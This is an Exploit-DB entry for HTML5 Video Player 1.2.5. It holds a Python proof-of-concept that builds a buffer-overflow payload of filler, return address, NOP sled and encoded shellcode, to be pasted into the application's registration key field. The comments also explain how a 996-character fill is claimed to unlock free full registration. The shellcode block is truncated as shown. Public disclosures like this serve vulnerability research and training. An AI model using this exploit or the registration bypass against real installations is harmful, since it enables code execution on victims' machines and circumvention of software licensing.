HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)

EDB-ID:
46279

CVE:
N/A

EDB Verified: ×

Author:
DINO COVOTSOS

Type:
LOCAL

Exploit: / {}

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#!/usr/bin/python
# Exploit Title: HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH
# Date: 27/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 1.2.5
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH exploit for Windows XP SP3 by
Kagan Capar available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!
# Extra Info:
#Exact match 996 = For free registration (Fill buffer with ABCD's to get
free full registration)
#Exact match 997 = For buffer overflow
```



```
"\x23\xdc\x73\x1e\x28\x7b\x2c\x3d\xd3\x11\xcd\xab\x2e\x8d\x27"
"\x24\xf0\xad\x47\xee\x99\x45\xba\x11\xa7\x2e\x33\xf7\xcd\x40"
"\x12\xaf\x79\xa2\x41\x78\x1d\xdd\xa3\x02\x21\x54\x14\x5a\xca"
"\x21\x4d\x5c\xf5\xb2\x5b\xca\x61\x38\x88\xce\x90\x3f\x85\x66"
"\xc4\xd7\x53\xe7\xa7\x46\x63\x22\x5d\x88\xf1\xc9\xf4\xdf\x6d"
"\xd0\x21\x17\x32\x2b\x04\x24\x35\xd3\xd9\x07\x4d\xe2\x4f\x17"
"\x39\x0b\x80\x97\xb9\x5d\xca\x97\xd1\x39\xae\xc4\xc4\x45\x7b"
"\x79\x55\xd0\x84\x2b\x09\x73\xed\xd1\x74\xb3\xb2\x2a\x53\xc7"
"\xb5\xd4\x22\xcf\x44\x17\xf3\x09\x33\x7e\xc7\x2d\x4c\x35\x6a"
"\x07\xc7\x35\x38\x57\xc2")
buffer = "A" * 996 + "\x69\x2d\xb3\x7c" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

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